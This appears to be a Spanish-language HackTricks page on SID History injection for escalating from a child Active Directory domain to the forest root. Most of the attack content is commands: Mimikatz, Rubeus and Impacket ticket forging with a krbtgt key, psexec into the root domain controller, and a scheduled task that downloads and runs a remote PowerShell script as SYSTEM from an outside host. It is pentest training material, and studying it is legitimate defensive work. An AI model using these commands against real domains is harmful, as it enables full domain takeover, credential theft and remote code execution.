151 lines
7.7 KiB
Markdown
151 lines
7.7 KiB
Markdown
## Ataque
|
|
|
|
La inyección de SID History fue diseñada para soportar escenarios de migración, donde un usuario sería movido de un dominio a otro. Para preservar el acceso a los recursos en el "viejo" dominio, el **SID anterior del usuario se agregaría al SID History** de su nueva cuenta. Por lo tanto, al crear dicho ticket, se puede agregar el SID de un grupo privilegiado (EAs, DAs, etc.) en el dominio padre que **concederá acceso a todos los recursos en el padre**.
|
|
|
|
Esto se puede lograr utilizando un [**Golden Ticket**](sid-history-injection.md#golden-ticket) o un [**Diamond Ticket**](sid-history-injection.md#diamond-ticket).
|
|
|
|
Para encontrar el **SID** del grupo **"Enterprise Admins"** se puede encontrar el **SID** del **dominio raíz** y establecerlo en `S-1-5-21-<root domain>-519`. Por ejemplo, a partir del SID del dominio raíz `S-1-5-21-280534878-1496970234-700767426`, el SID del grupo **"Enterprise Admins"** es `S-1-5-21-280534878-1496970234-700767426-519`.
|
|
|
|
También se pueden utilizar los grupos **Domain Admins**, que terminan en **512**.
|
|
|
|
Otra forma de encontrar el SID de un grupo del otro dominio (por ejemplo, "Domain Admins") es con:
|
|
```powershell
|
|
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
|
|
```
|
|
### Golden Ticket (Mimikatz) con KRBTGT-AES256
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
|
|
|
|
/user is the username to impersonate (could be anything)
|
|
/domain is the current domain.
|
|
/sid is the current domain SID.
|
|
/sids is the SID of the target group to add ourselves to.
|
|
/aes256 is the AES256 key of the current domain's krbtgt account.
|
|
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
|
|
/startoffset sets the start time of the ticket to 10 mins before the current time.
|
|
/endin sets the expiry date for the ticket to 60 mins.
|
|
/renewmax sets how long the ticket can be valid for if renewed.
|
|
|
|
# The previous command will generate a file called ticket.kirbi
|
|
# Just loading you can perform a dcsync attack agains the domain
|
|
```
|
|
{% endcode %}
|
|
|
|
Para obtener más información sobre los "golden tickets", consulte:
|
|
|
|
{% content-ref url="golden-ticket.md" %}
|
|
[golden-ticket.md](golden-ticket.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Diamond Ticket (Rubeus + KRBTGT-AES256)
|
|
|
|
{% code overflow="wrap" %}
|
|
```powershell
|
|
# Use the /sids param
|
|
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
|
|
|
|
# Or a ptt with a golden ticket
|
|
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
|
|
|
|
# You can use "Administrator" as username or any other string
|
|
```
|
|
{% endcode %}
|
|
|
|
Para obtener más información sobre los tickets diamond, consulte:
|
|
|
|
{% content-ref url="diamond-ticket.md" %}
|
|
[diamond-ticket.md](diamond-ticket.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
|
|
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
|
|
ls \\mcorp-dc.moneycorp.local\c$
|
|
```
|
|
{% endcode %}
|
|
|
|
Escalación a DA o root o administrador de empresa utilizando el hash KRBTGT del dominio comprometido:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
|
|
|
|
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
|
|
|
|
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
|
|
|
|
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
|
|
|
|
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
|
|
```
|
|
{% endcode %}
|
|
|
|
Con los permisos adquiridos en el ataque, puedes ejecutar, por ejemplo, un ataque DCSync en el nuevo dominio:
|
|
|
|
{% content-ref url="dcsync.md" %}
|
|
[dcsync.md](dcsync.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Desde Linux
|
|
|
|
#### Manual con [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# This is for an attack from child to root domain
|
|
# Get child domain SID
|
|
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
|
|
# Get root domain SID
|
|
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
|
|
|
|
# Generate golden ticket
|
|
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
|
|
|
|
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
|
|
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
|
|
|
|
# Load ticket
|
|
export KRB5CCNAME=hacker.ccache
|
|
|
|
# psexec in domain controller of root
|
|
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
|
|
```
|
|
{% endcode %}
|
|
|
|
#### Automático usando [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
|
|
|
|
Este es un script de Impacket que **automatiza la escalada del dominio hijo al dominio padre**. El script necesita:
|
|
|
|
* Controlador de dominio de destino
|
|
* Credenciales para un usuario administrador en el dominio hijo
|
|
|
|
El flujo es:
|
|
|
|
* Obtiene el SID del grupo Enterprise Admins del dominio padre
|
|
* Recupera el hash para la cuenta KRBTGT en el dominio hijo
|
|
* Crea un Golden Ticket
|
|
* Inicia sesión en el dominio padre
|
|
* Recupera las credenciales para la cuenta de Administrador en el dominio padre
|
|
* Si se especifica el interruptor `target-exec`, se autentica en el Controlador de Dominio del dominio padre a través de Psexec.
|
|
```bash
|
|
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
|
|
```
|
|
## Referencias
|
|
|
|
* [https://studylib.net/doc/25696115/crto](https://studylib.net/doc/25696115/crto)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|